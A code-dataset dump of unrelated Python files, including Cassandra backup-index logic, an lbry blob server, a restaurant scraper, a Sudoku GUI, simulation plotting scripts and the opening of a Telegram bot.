backup_index_blobs = self.list_backup_index_blobs()\n\n blobs_by_backup = self.group_backup_index_by_backup_and_node(backup_index_blobs)\n\n all_backup_blob_names = get_all_backup_blob_names(backup_index_blobs)\n\n if len(all_backup_blob_names) == 0:\n logging.info('No backups found in index. Consider running \"medusa build-index\" if you have some backups')\n\n # possibly filter out backups only for given fqdn\n if fqdn is not None:\n relevant_backup_names = get_blobs_for_fqdn(all_backup_blob_names, fqdn)\n else:\n relevant_backup_names = all_backup_blob_names\n\n # use the backup names and fqdns from index entries to construct NodeBackup objects\n node_backups = list()\n for backup_index_entry in relevant_backup_names:\n _, _, backup_name, tokenmap_file = backup_index_entry.split('/')\n # tokenmap file is in format 'tokenmap_fqdn.json'\n tokenmap_fqdn = tokenmap_file.split('_')[1].replace('.json', '')\n manifest_blob, schema_blob, tokenmap_blob = None, None, None\n started_blob, finished_blob = None, None\n started_timestamp, finished_timestamp = None, None\n if tokenmap_fqdn in blobs_by_backup[backup_name]:\n manifest_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'manifest')\n schema_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'schema')\n tokenmap_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'tokenmap')\n started_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'started')\n finished_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'finished')\n differential_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'differential')\n # Should be removed after while. Here for backwards compatibility.\n incremental_blob = self.lookup_blob(blobs_by_backup, backup_name, tokenmap_fqdn, 'incremental')\n if started_blob is not None:\n started_timestamp = self.get_timestamp_from_blob_name(started_blob.name)\n else:\n started_timestamp = None\n if finished_blob is not None:\n finished_timestamp = self.get_timestamp_from_blob_name(finished_blob.name)\n else:\n finished_timestamp = None\n\n nb = NodeBackup(storage=self, fqdn=tokenmap_fqdn, name=backup_name,\n manifest_blob=manifest_blob, schema_blob=schema_blob, tokenmap_blob=tokenmap_blob,\n started_timestamp=started_timestamp, started_blob=started_blob,\n finished_timestamp=finished_timestamp, finished_blob=finished_blob,\n differential_blob=differential_blob if differential_blob is not None else incremental_blob)\n node_backups.append(nb)\n\n # once we have all the backups, we sort them by their start time. we get oldest ones first\n sorted_node_backups = sorted(\n # before sorting the backups, ensure we can work out at least their start time\n filter(lambda nb: nb.started is not None, node_backups),\n key=lambda nb: nb.started\n )\n\n # then, before returning the backups, we pick only the existing ones\n previous_existed = False\n for node_backup in sorted_node_backups:\n\n # we try to be smart here - once we have seen an existing one, we assume all later ones exist too\n if previous_existed:\n yield node_backup\n continue\n\n # the idea is to save .exist() calls as they actually go to the storage backend and cost something\n # this is mostly meant to handle the transition period when backups expire before the index does,\n # which is a consequence of the transition period and running the build-index command\n\n if node_backup.exists():\n previous_existed = True\n yield node_backup\n else:\n logging.debug('Backup {} for fqdn {} present only in index'.format(node_backup.name, node_backup.fqdn))\n # if a backup doesn't exist, we should remove its entry from the index too\n try:\n self.remove_backup_from_index(node_backup)\n except InvalidCredsError:\n logging.debug(\n 'This account cannot perform the cleanup_storage'\n '{} for fqdn {} present only in index.'\n 'Ignoring and continuing...'\n .format(node_backup.name, node_backup.fqdn))\n\n def list_backup_index_blobs(self):\n path = 'index/backup_index'\n return self.storage_driver.list_objects(path)\n\n def group_backup_index_by_backup_and_node(self, backup_index_blobs):\n\n def get_backup_name(blob):\n return blob.name.split('/')[2]\n\n def get_fqdn(blob):\n fqdn_with_extension = blob.name.split('/')[3].split('_')[1]\n return self.remove_extension(fqdn_with_extension)\n\n def name_and_fqdn(blob):\n return get_backup_name(blob), get_fqdn(blob)\n\n def group_by_backup_name(blobs):\n return itertools.groupby(blobs, get_backup_name)\n\n def group_by_fqdn(blobs):\n return itertools.groupby(blobs, get_fqdn)\n\n blobs_by_backup = {}\n sorted_backup_index_blobs = sorted(\n backup_index_blobs,\n key=name_and_fqdn\n )\n\n for backup_name, blobs in group_by_backup_name(sorted_backup_index_blobs):\n blobs_by_node = {}\n for fqdn, node_blobs in group_by_fqdn(blobs):\n blobs_by_node[fqdn] = list(node_blobs)\n blobs_by_backup[backup_name] = blobs_by_node\n\n return blobs_by_backup\n\n @staticmethod\n def get_fqdn_from_backup_index_blob_name(blob_name):\n fqdn_with_extension = blob_name.split('/')[3].split('_')[1]\n return Storage.remove_extension(fqdn_with_extension)\n\n @staticmethod\n def remove_extension(fqdn_with_extension):\n replaces = {\n '.json': '',\n '.cql': '',\n '.txt': '',\n '.timestamp': ''\n }\n r = fqdn_with_extension\n for old, new in replaces.items():\n r = r.replace(old, new)\n return r\n\n def get_timestamp_from_blob_name(self, blob_name):\n name_without_extension = self.remove_extension(blob_name)\n return int(name_without_extension.split('/')[-1].split('_')[-1])\n\n def lookup_blob(self, blobs_by_backup, backup_name, fqdn, blob_name_chunk):\n \"\"\"\n This function looks up blobs in blobs_by_backup, which is a double dict (k->k->v).\n The blob_name_chunk tells which blob for given backup and fqdn we want.\n It can be 'schema', 'manifest', 'started', 'finished'\n \"\"\"\n blob_list = list(filter(lambda blob: blob_name_chunk in blob.name,\n blobs_by_backup[backup_name][fqdn]))\n return blob_list[0] if len(blob_list) > 0 else None\n\n def list_cluster_backups(self, backup_index=None):\n node_backups = sorted(\n self.list_node_backups(backup_index_blobs=backup_index),\n key=lambda b: (b.name, b.started)\n )\n\n for name, node_backups in itertools.groupby(node_backups, key=operator.attrgetter('name')):\n yield ClusterBackup(name, node_backups)\n\n def latest_node_backup(self, *, fqdn):\n index_path = 'index/latest_backup/{}/backup_name.txt'.format(fqdn)\n try:\n latest_backup_name = self.storage_driver.get_blob_content_as_string(index_path)\n differential_blob = self.storage_driver.get_blob('{}/{}/meta/differential'.format(fqdn, latest_backup_name))\n\n node_backup = NodeBackup(\n storage=self,\n fqdn=fqdn,\n name=latest_backup_name,\n differential_blob=differential_blob\n )\n\n if not node_backup.exists():\n logging.warning('Latest backup points to non-existent backup. Deleting the marker')\n self.remove_latest_backup_marker(fqdn)\n raise Exception\n\n return node_backup\n\n except Exception:\n logging.info('Node {} does not have latest backup'.format(fqdn))\n return None\n\n def latest_cluster_backup(self, backup_index=None):\n \"\"\"\n Get the latest backup attempted (successful or not)\n \"\"\"\n last_started = max(\n self.list_cluster_backups(backup_index=backup_index),\n key=operator.attrgetter('started'),\n default=None\n )\n\n logging.debug(\"Last cluster backup : {}\".format(last_started))\n return last_started\n\n def latest_complete_cluster_backup(self, backup_index=None):\n \"\"\"\n Get the latest *complete* backup (ie successful on all nodes)\n \"\"\"\n finished_backups = filter(\n operator.attrgetter('finished'),\n self.list_cluster_backups(backup_index=backup_index)\n )\n\n last_finished = max(finished_backups, key=operator.attrgetter('finished'), default=None)\n return last_finished\n\n def get_cluster_backup(self, backup_name):\n for cluster_backup in self.list_cluster_backups():\n if cluster_backup.name == backup_name:\n return cluster_backup\n raise KeyError('No such backup')\n\n def remove_backup_from_index(self, node_backup):\n \"\"\"\n Takes a node backup and tries to remove corresponding items from the index.\n This usually happens when the node_backup.exists() returns false, which means it's schema in the\n meta folder does not exist.\n We are checking and deleting each blob separately because there is no easy way to list and get the objects.\n \"\"\"\n medusa.index.clean_backup_from_index(self, node_backup)\n\n def remove_latest_backup_marker(self, fqdn):\n \"\"\"\n Removes the markers of the latest backup for a fqdn.\n Unlike remove_backup_from_index, here we do call list because the path is not ambiguous, and because we can't\n get the blobs from anywhere.\n Then we can call the delete object on the results.\n \"\"\"\n markers = self.storage_driver.list_objects('index/latest_backup/{}/'.format(fqdn))\n for marker in markers:\n self.storage_driver.delete_object(marker)\n","repo_name":"spotify/cassandra-medusa","sub_path":"medusa/storage/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15002,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"62"} +{"seq_id":"39197487272","text":"import sys\nimport heapq\nsi = sys.stdin.readline\nINF = int(1e9)\n\ndef main():\n n = int(si())\n m = int(si())\n bus = [[] for _ in range(n + 1)]\n for _ in range(m):\n a, b, c = map(int, si().split())\n bus[a].append((c, b))\n \n start, end = map(int, si().split())\n\n q = []\n heapq.heappush(q, (0, start))\n distance = [[INF, 0] for _ in range(n + 1)]\n distance[start][0] = 0\n while q:\n cost, cur = heapq.heappop(q)\n if cost > distance[cur][0]:\n continue\n\n for nxt_cost, nxt in bus[cur]:\n if distance[nxt][0] > nxt_cost + distance[cur][0]:\n distance[nxt][0] = nxt_cost + distance[cur][0]\n heapq.heappush(q, (distance[nxt][0], nxt))\n distance[nxt][1] = cur\n\n print(distance[end][0])\n\n def go(s, cnt):\n if distance[s][1] == 0:\n print(cnt)\n print(s, end=' ')\n return\n \n go(distance[s][1], cnt + 1)\n print(s, end=' ')\n\n go(end, 1)\n\nif __name__ == '__main__':\n main()\n","repo_name":"punkryn/ryu_algo","sub_path":"최단거리/최소비용구하기2.py","file_name":"최소비용구하기2.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74128050756","text":"import asyncio\nimport binascii\nimport logging\nimport typing\nfrom json.decoder import JSONDecodeError\nfrom lbry.blob_exchange.serialization import BlobResponse, BlobRequest, blob_response_types\nfrom lbry.blob_exchange.serialization import BlobAvailabilityResponse, BlobPriceResponse, BlobDownloadResponse, \\\n BlobPaymentAddressResponse\n\nif typing.TYPE_CHECKING:\n from lbry.blob.blob_manager import BlobManager\n\nlog = logging.getLogger(__name__)\n\n\nclass BlobServerProtocol(asyncio.Protocol):\n def __init__(self, loop: asyncio.BaseEventLoop, blob_manager: 'BlobManager', lbrycrd_address: str):\n self.loop = loop\n self.blob_manager = blob_manager\n self.server_task: asyncio.Task = None\n self.started_listening = asyncio.Event(loop=self.loop)\n self.buf = b''\n self.transport = None\n self.lbrycrd_address = lbrycrd_address\n self.peer_address_and_port: typing.Optional[str] = None\n\n def connection_made(self, transport):\n self.transport = transport\n self.peer_address_and_port = \"%s:%i\" % self.transport.get_extra_info('peername')\n self.blob_manager.connection_manager.connection_received(self.peer_address_and_port)\n\n def connection_lost(self, exc: typing.Optional[Exception]) -> None:\n self.blob_manager.connection_manager.incoming_connection_lost(self.peer_address_and_port)\n\n def send_response(self, responses: typing.List[blob_response_types]):\n to_send = []\n while responses:\n to_send.append(responses.pop())\n serialized = BlobResponse(to_send).serialize()\n self.transport.write(serialized)\n self.blob_manager.connection_manager.sent_data(self.peer_address_and_port, len(serialized))\n\n async def handle_request(self, request: BlobRequest):\n addr = self.transport.get_extra_info('peername')\n peer_address, peer_port = addr\n\n responses = []\n address_request = request.get_address_request()\n if address_request:\n responses.append(BlobPaymentAddressResponse(lbrycrd_address=self.lbrycrd_address))\n availability_request = request.get_availability_request()\n if availability_request:\n responses.append(BlobAvailabilityResponse(available_blobs=list(set((\n filter(lambda blob_hash: blob_hash in self.blob_manager.completed_blob_hashes,\n availability_request.requested_blobs)\n )))))\n price_request = request.get_price_request()\n if price_request:\n responses.append(BlobPriceResponse(blob_data_payment_rate='RATE_ACCEPTED'))\n download_request = request.get_blob_request()\n\n if download_request:\n blob = self.blob_manager.get_blob(download_request.requested_blob)\n if blob.get_is_verified():\n incoming_blob = {'blob_hash': blob.blob_hash, 'length': blob.length}\n responses.append(BlobDownloadResponse(incoming_blob=incoming_blob))\n self.send_response(responses)\n log.debug(\"send %s to %s:%i\", blob.blob_hash[:8], peer_address, peer_port)\n try:\n sent = await blob.sendfile(self)\n except (ConnectionResetError, BrokenPipeError, RuntimeError, OSError):\n if self.transport:\n self.transport.close()\n return\n log.info(\"sent %s (%i bytes) to %s:%i\", blob.blob_hash[:8], sent, peer_address, peer_port)\n if responses:\n self.send_response(responses)\n # self.transport.close()\n\n def data_received(self, data):\n request = None\n if data:\n self.blob_manager.connection_manager.received_data(self.peer_address_and_port, len(data))\n message, separator, remainder = data.rpartition(b'}')\n if not separator:\n self.buf += data\n return\n try:\n request = BlobRequest.deserialize(self.buf + data)\n self.buf = remainder\n except JSONDecodeError:\n addr = self.transport.get_extra_info('peername')\n peer_address, peer_port = addr\n log.error(\"failed to decode blob request from %s:%i (%i bytes): %s\", peer_address, peer_port,\n len(data), '' if not data else binascii.hexlify(data).decode())\n if not request:\n addr = self.transport.get_extra_info('peername')\n peer_address, peer_port = addr\n log.warning(\"failed to decode blob request from %s:%i\", peer_address, peer_port)\n self.transport.close()\n return\n self.loop.create_task(self.handle_request(request))\n\n\nclass BlobServer:\n def __init__(self, loop: asyncio.BaseEventLoop, blob_manager: 'BlobManager', lbrycrd_address: str):\n self.loop = loop\n self.blob_manager = blob_manager\n self.server_task: typing.Optional[asyncio.Task] = None\n self.started_listening = asyncio.Event(loop=self.loop)\n self.lbrycrd_address = lbrycrd_address\n self.server_protocol_class = BlobServerProtocol\n\n def start_server(self, port: int, interface: typing.Optional[str] = '0.0.0.0'):\n if self.server_task is not None:\n raise Exception(\"already running\")\n\n async def _start_server():\n server = await self.loop.create_server(\n lambda: self.server_protocol_class(self.loop, self.blob_manager, self.lbrycrd_address),\n interface, port\n )\n self.started_listening.set()\n log.info(\"Blob server listening on TCP %s:%i\", interface, port)\n async with server:\n await server.serve_forever()\n\n self.server_task = self.loop.create_task(_start_server())\n\n def stop_server(self):\n if self.server_task:\n self.server_task.cancel()\n self.server_task = None\n log.info(\"Stopped blob server\")\n","repo_name":"braveheart12/lbry-sdk","sub_path":"lbry/lbry/blob_exchange/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16334897582","text":"import undetected_chromedriver as uc\r\nfrom selenium.webdriver.common.by import By\r\nimport time\r\n\r\n\r\ndef main():\r\n\tcreateOutput()\r\n\tdriver = setup()\r\n\turl = \"Insert url to scrape: \"\r\n\tdriver.get(url)\r\n\r\n\t#SCROLLING DOWN TO THE BOTTOM FUNCION\r\n\tSCROLL_PAUSE_TIME = 0.5\r\n\tlast_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n\r\n\twhile True:\r\n\t # Scroll down to bottom\r\n\t driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n\r\n\t # Wait to load page\r\n\t time.sleep(SCROLL_PAUSE_TIME)\r\n\r\n\t # Calculate new scroll height and compare with last scroll height\r\n\t new_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n\t if new_height == last_height:\r\n\t break\r\n\t last_height = new_height\r\n\r\n\t#get all titles\r\n\trows = driver.find_elements(By.CLASS_NAME, 'RestaurantCard_c-restaurantCard-name_1Zwfd')\r\n\tprint(f\"Found a total of {len(rows)} resturants in the area\")\r\n\tfor row in rows:\r\n\t\twith open(\"output.txt\", \"a\", encoding=\"utf8\") as f:\r\n\t\t\tf.write(row.text)\r\n\t\t\tf.write(\"\\n\")\r\n\t\t\tprint(f\"wrote the following title: {row.text}\")\r\n\r\n#create output file\r\ndef createOutput():\r\n\twith open(\"output.txt\", \"w\") as f:\r\n\t\tprint(\"created output txt file\")\r\n\r\n#return driver in headless mode\r\ndef setup(headless=True):\r\n\toptions = uc.ChromeOptions()\r\n\toptions.headless = headless\r\n\treturn uc.Chrome(options=options)\r\n\r\nmain()","repo_name":"DaniKaito/JustEatResturantNameScraper","sub_path":"justEatResturantCrawler.py","file_name":"justEatResturantCrawler.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28367708738","text":"from tkinter import *\nfrom random import *\nimport math\n\n#The 9 grids inside the overall grid, a 3x3, naming series 100\ndef threeByThree(u,x,y):\n u = str(u);\n print(u)\n u = Frame(gridFrame);\n u.grid(column = x, row = y);\n u.config(height = 210, width = 210, bg = \"black\", bd = 2, relief = \"solid\");\n print(u)\n\n\n#Factors of 9 for maths in the cell function\nfactors = []\nfor i in range(1, 82):\n if (i % 9 == 0):\n factors.append(i)\n\n#The \"Main Numbers\", the top left number in every square of the 3x3.\noneThreeFactors = []\nfor i in range(1, 62, 3):\n oneThreeFactors.append(i);\ndel oneThreeFactors[3:9];\ndel oneThreeFactors[6:12];\n\n\n#All things cells\ndef cell(name,counter):\n x = None;\n y = None;\n i = counter\n\n #Making x and y correct values to put into column and row to make the grid.\n if (all(item in factors for item in str(i)) == False):\n i = i - 1;\n x = (i % 9);\n else:\n x = ((i % 9) - 1);\n y = math.floor((i / 9));\n\n\n #Creating frames for individual entries so each entry has a border\n if (all(item in oneThreeFactors for item in str(counter)) == False):#If the current value in counter is one of the Main Numbers.\n c = oneThreeFactors.index(counter);#Makes the value of c the index of counter's position in the list of Main Numbers.\n c += 101;#Add 101 because the 3x3 grid was named 101-109.\n c = str(c);\n\n counterRelevantNumbers = [counter, counter + 1, counter + 2, counter + 9, counter + 10, counter + 11, counter + 18, counter + 19, counter + 20];\n #List of numbers which are in the same quadrant as the Main Number\n\n cellFrame = counter + 200;#Naming the frame for the entries, 200 series\n cellFrame = Frame(c);\n cellFrame.grid(column = x, row = y)\n cellFrame.config(height = 70, width = 70, bg = \"black\", bd = 1, relief = \"solid\");\n \n #Creating the entries\n name = Entry(cellFrame);\n name.grid(column = 0, row = 0);\n name.place(height = 70, width = 70);\n name.config(bg = \"grey\", bd = 0);\n \n\n\n #Attempt 1:\n #name = 1;\n #check = True;\n #x = -1;\n #y = -1;\n #\n #removeCounter = 0;\n #\n #mainNumber = 1;\n #counter = 1;\n #counterRelevantNumbers = [counter, counter + 1, counter + 2, counter + 9, counter + 10, counter + 11, counter + 18, counter + 19, counter + 20];\n #\n #fullList = []\n #for i in range(82):\n # fullList.append(i);\n # i += 1;\n #\n #while (fullList != []):\n # while (check == True):\n # if ((len(counterRelevantNumbers % 3) == 0)):\n # x += 1;\n # y += 1;\n # if (x > 2):\n # x = 0;\n # if (y > 2):\n # y = 0;\n #\n # name = int(name);\n # name = (name + (len(fullList) - 81));\n # name = str(name)\n # name = Entry(counter + 100)\n # name.grid(column = x, row = y)\n #\n # check = all(item in fullList for item in counterRelevantNumbers);\n #\n # fullList.remove(counterRelevantNumbers[removeCounter]);\n # removeCounter += 1;\n # if (removeCounter == 8):\n # removeCounter = 0;\n #\n # \n # x = 0;\n # y = 0;\n\n\n #Try counterRelevantNumbers[i]\n\n #n.grid(column = x, row = y);\n #n.config(height = 70, width = 70, bg = \"grey\", bd = 1, relief = \"solid\");\n\n\n\n\nroot = Tk();\nroot.title(\"Sudoku\");\nroot.geometry(\"3820x2160\");\n\nrandomNumber = None;\nnumberGrid = [];\n\n\n#Creating overall grid\ngridFrame = Frame(root);\ngridFrame.config(height = 630, width = 630, bg = \"black\", bd = 4, relief = \"solid\");\ngridFrame.grid(column = 0, row = 0);\n\n\n#Creating cell containers\nu = 101;\nx = 0;\ny = 0;\n\nwhile (x < 3):\n threeByThree(u,x,y);\n x += 1;\n u += 1;\nx = 0;\ny = 1;\nwhile (x < 3):\n threeByThree(u,x,y);\n x += 1;\n u += 1;\nx = 0;\ny = 2;\nwhile (x < 3):\n threeByThree(u,x,y);\n x += 1;\n u += 1;\n\n\n#Creating individual cells\nname = 1;\nx = 0;\ny = 0;\nincrement = 1;\n\nfor i in range(1,82):\n cell(name,increment);\n name += 1;\n increment += 1;\n i += 1;\n\n\n\n\n\n\n\n\n\n\n\nroot.mainloop();\n","repo_name":"sup5610/SudokuPY","sub_path":"Sudoku/Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2086193466","text":"from plot_settings import *\n\n\nkT = 0.0042\ndef theory_force_diff(ratio):\n return 1./(1+ratio)\n\ndef theory_speed_diff(L,visc,D,v0,m,fs):\n\n drag_tail = 0.0042/D\n drag_MT = 3 * L / (np.log(0.5 * L / 0.0125) + 0.312) * np.pi*visc\n return v0/(1 + drag_MT*(1./drag_tail+v0/fs)/(2*m))\n\ndef theory_speed_diff_cls(Dc,Dm,v0,fs,rho_c,rho_m):\n term1 = rho_c/2./rho_m/(1.-rho_c)\n term2 = kT/Dc*(Dm/kT+v0/fs)\n return 1./(1.+term1*term2)\n\ndef speed2(Dc,Dm,v0,fs,rho_c,rho_m,L):\n\n term1 = v0+Dm/rho_m/L*np.log(1-rho_c)\n return term1*theory_speed_diff_cls(Dc,Dm,v0,fs,rho_c,rho_m)/v0\n\n # # ent = 0.0042 / 0.008 * rho_c\n # drag_m = kT/Dm\n # term1 = rho_c / rho_m / (1. - rho_c)\n # term2 = kT / Dc * (Dm / kT + v0 / fs)\n # if rho_m==0:\n # ent=0\n # else:\n # ent = ent / m / drag_m\n # return -(v0-ent)/(1 + term1 * term2)\n\n\n\n# Figure2A -----------------------------------------------------------------------------------------------------------\n\nmarker = new_fig()\n\nsource = os.path.join(\"..\",\"diffusive_motor_force_new\",\"data_summary\",\"runs1_new\")\nmeasurements = read_csv(os.path.join(source,\"measurements.txt\"), sep=' ',dtype=float)\nparameters = read_csv(os.path.join(source, \"parameters.txt\"), sep='|',dtype=float)\nvar_color = \"mt_speed\"\nD = parameters[\"cl_diff\"]\nv0 = parameters[\"mt_speed\"]\nfs = parameters[\"stall_force\"]\n\nx_sims =fs*D/v0/kT\ny_sims = measurements[\"force\"]/fs/2.\n\nfor f, f_par in enumerate(np.unique(parameters[var_color])):\n ind = parameters[var_color]==f_par\n this_v0 = np.array(v0[ind])[0]\n sc = plt.scatter(x_sims[ind], y_sims[ind],label=\"Simulations\",alpha=0.6,marker=marker.next())\n # sort_plot(parameters[var_ax][ind], predictions[\"bound_mt\"][ind],plt.plot,color=sc.get_facecolors()[0])\n\nratio = np.logspace(-3, 3)\ntheory = theory_force_diff(ratio)\nplt.semilogx(ratio,theory,color=\"black\",label=\"Theory\")\n\nratio = np.logspace(-3, 3)\nplt.semilogx(ratio,1./(ratio/fs[0])/fs[0],color=\"black\",label=\"$\\gamma_d/\\gamma_m$\",linestyle=\"--\")\n\n# plt.plot(ratio,theory,c=\"black\",label=\"Theory\")\nplt.legend(loc='lower left',frameon=False)\nplt.ylabel(\"$f/f_s$\")\nplt.xlabel(\"$\\gamma_m/\\gamma_d$\")\nplt.ylim([0,1])\nplt.xlim([1e-3,1e3])\nplt.savefig(os.path.join(\"fig3\",\"fig3A.pdf\"), transparent=True)\n\n# Figure2B -----------------------------------------------------------------------------------------------------------\n\nmarker = new_fig()\n\nsource = os.path.join(\"..\",\"diffusive_motor_sliding\",\"data_summary\",\"runs1_new\")\n\nmeasurements = read_csv(os.path.join(source,\"measurements.txt\"), sep=' ',dtype=float)\nparameters = read_csv(os.path.join(source, \"parameters.txt\"), sep='|',dtype=float)\n\nvar_color = \"viscosity\"\n\nD = parameters[\"cl_diff\"]\nv0 = parameters[\"mt_speed\"]\nfs = parameters[\"stall_force\"]\nL = parameters[\"fiber_length\"]\nmotors = measurements[\"bound_mts\"]\n\n\nx_sims =motors/L\ny_sims = measurements[\"speed\"]\n\nfor f, f_par in enumerate(np.unique(parameters[var_color])):\n ind = parameters[var_color]==f_par\n\n sc = plt.scatter(x_sims[ind], y_sims[ind],label=\"Simulations: $\\\\xi$ \"+str(f_par)+\" $Pa.s$\",alpha=0.6,marker=marker.next())\n dens_theo = np.linspace(0,15,100)\n theory = theory_speed_diff(L[0], f_par, D[0], v0[0], dens_theo*L[0], fs[0])\n\n plt.plot(dens_theo,theory,label=\"Theory: $\\\\xi$ \"+str(f_par)+\" $Pa.s$\")\n # sort_plot(parameters[var_ax][ind], predictions[\"bound_mt\"][ind],plt.plot,color=sc.get_facecolors()[0])\n\nplt.xlabel(\"Motor density (motors/$\\mu m$)\")\nplt.ylabel(\"Sliding speed ($\\mu m/s$)\")\nplt.ylim([0,0.3])\nplt.yticks([0,0.1,0.2,0.3])\nplt.xlim([0,15])\nplt.legend(fontsize=12,ncol=2)\nplt.savefig(os.path.join(\"fig3\",\"fig3B.pdf\"), transparent=True)\n\n# Figure2D -----------------------------------------------------------------------------------------------------------\n\nmarker = new_fig()\n\nsource = os.path.join(\"..\",\"diffusive_motor_sliding_crosslinkers\",\"data_summary\",\"runs1_lat\")\n\nmeasurements = read_csv(os.path.join(source,\"measurements.txt\"), sep=' ',dtype=float)\nparameters = read_csv(os.path.join(source, \"parameters.txt\"), sep='|',dtype=float)\n\nvar_color = \"cl_number\"\n\nDc = parameters[\"cl_diff\"]\nDm = parameters[\"mt_diff\"]\n\nv0 = parameters[\"mt_speed\"]\nfs = parameters[\"stall_force\"]\nL = parameters[\"fiber_length\"]\n\nrho_m = measurements[\"bound_mts\"]*0.008/L\nrho_c = parameters[\"cl_number\"]*0.008/L\n\n\nx_sims =rho_m\ny_sims = measurements[\"speed\"]/v0[0]\n\nfor f, f_par in enumerate(np.unique(parameters[var_color])):\n ind = parameters[var_color]==f_par\n ave_rho_c = np.array(rho_c[ind])[0]\n sc = plt.scatter(x_sims[ind], y_sims[ind],label=\"$\\\\rho_c$: %.2f\" % ave_rho_c,alpha=0.6,marker=marker.next())\n\n\n rho_m_theo = np.linspace(0,0.5)\n theory = speed2(Dc[0],Dm[0],v0[0],fs[0],ave_rho_c,rho_m_theo,L[0])\n plt.plot(rho_m_theo,theory)\n\n # sort_plot(parameters[var_ax][ind], predictions[\"bound_mt\"][ind],plt.plot,color=sc.get_facecolors()[0])\n\nplt.xlabel(\"$\\\\rho_m$\")\nplt.ylabel(\"$v_0/v_f$\")\nplt.ylim([0,1])\nplt.xlim([0,0.4])\n# plt.yticks([0,0.1,0.2,0.3])\n# plt.xlim([0,15])\nplt.legend()\nplt.savefig(os.path.join(\"fig3\",\"fig3D.pdf\"), transparent=True)\n\n# Figure2E -----------------------------------------------------------------------------------------------------------\n\nmarker = new_fig()\n\nsource = os.path.join(\"..\",\"diffusive_motor_sliding_crosslinkers\",\"data_summary\",\"runs_3_cls3\")\n\nmeasurements = read_csv(os.path.join(source,\"measurements.txt\"), sep=' ',dtype=float)\nparameters = read_csv(os.path.join(source, \"parameters.txt\"), sep='|',dtype=float)\n\nvar_color = \"mt_number\"\n\nDc = parameters[\"cl_diff\"]\nDm = parameters[\"mt_diff\"]\n\nv0 = parameters[\"mt_speed\"]\nfs = parameters[\"stall_force\"]\nL = parameters[\"fiber_length\"]\n\nrho_m = measurements[\"bound_mts\"]*0.008/L\nrho_c = parameters[\"cl_number\"]*0.008/L\n\n\nx_sims =rho_c\ny_sims = measurements[\"speed\"]/v0[0]\n\nmain_axis = plt.gca()\nextra_ax = plt.axes([.35, .5, .3, .3],facecolor='none')\n\nplt.xticks([])\nplt.yticks([])\n\n\nfor f, f_par in enumerate(np.unique(parameters[var_color])):\n plt.sca(main_axis)\n ind = parameters[var_color]==f_par\n ave_rho_m = np.array(rho_m[ind])[0]\n sc = plt.scatter(x_sims[ind], y_sims[ind],label=\"Simulations: $\\\\rho_m$: %.2f\" % ave_rho_m,alpha=0.6,marker=marker.next())\n\n\n rho_c_theo = np.linspace(0,1)\n theory = speed2(Dc[0],Dm[0],v0[0],fs[0],rho_c_theo,ave_rho_m,L[0])\n theory2 = theory_speed_diff_cls(Dc[0],Dm[0],v0[0],fs[0],rho_c_theo,ave_rho_m)\n plt.plot(rho_c_theo,theory,label=\"Theory: $\\\\rho_m$: %.2f\" % ave_rho_m)\n plt.axhline(y=0,linestyle='-.',c=\"grey\",alpha=0.5)\n # sort_plot(parameters[var_ax][ind], predictions[\"bound_mt\"][ind],plt.plot,color=sc.get_facecolors()[0])\n\n s = extra_ax.plot(rho_c_theo, theory,linewidth=1)\n\n extra_ax.plot(rho_c_theo, theory2,linestyle='--',c=s[0].get_color(),linewidth=1)\n\nplt.xlabel(\"$\\\\rho_c$\")\nplt.ylabel(\"$v_0/v_f$\")\n# plt.ylim([0,1])\nplt.xlim([0,1])\n# extra_ax.axis['top'].set_visible(False)\n# extra_ax.axis('off')\nextra_ax.spines['right'].set_visible(False)\nextra_ax.spines['top'].set_visible(False)\nextra_ax.axhline(y=0,linestyle='-.',c=\"grey\",alpha=0.5,linewidth=1)\nextra_ax.set_xlim([0,1])\n# extra_ax.axis['right'].set_visible(False)\n# plt.yticks([0,0.1,0.2,0.3])\n# plt.xlim([0,15])\n# this is an inset axes over the main axes\n\nplt.legend(fontsize=11)\nplt.savefig(os.path.join(\"fig3\",\"fig3E.pdf\"), transparent=True)\n\nplt.show()","repo_name":"manulera/LeraRamirez2019","sub_path":"simulations/figures_combined/old/figure_3.py","file_name":"figure_3.py","file_ext":"py","file_size_in_byte":7335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8009974350","text":"import logging\r\nimport datetime\r\nimport traceback\r\nimport pytz\r\nimport configparser\r\n\r\nfrom telegram.bot import Bot, BotCommand\r\nfrom telegram.ext import Filters, Defaults\r\nfrom telegram.ext.commandhandler import CommandHandler\r\nfrom telegram.ext.conversationhandler import ConversationHandler\r\nfrom telegram.ext.messagehandler import MessageHandler\r\nfrom telegram.ext.callbackqueryhandler import CallbackQueryHandler\r\nfrom telegram.ext.updater import Updater\r\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\r\n\r\nfrom peewee import (\r\n Model,\r\n PostgresqlDatabase,\r\n TextField,\r\n SmallIntegerField,\r\n CharField,\r\n ForeignKeyField,\r\n)\r\n\r\nlogging.basicConfig(\r\n filename=\"birthdaybot_log.txt\",\r\n level=logging.DEBUG,\r\n format=\" %(asctime)s - %(levelname)s - %(message)s\",\r\n)\r\n\r\nconfig = 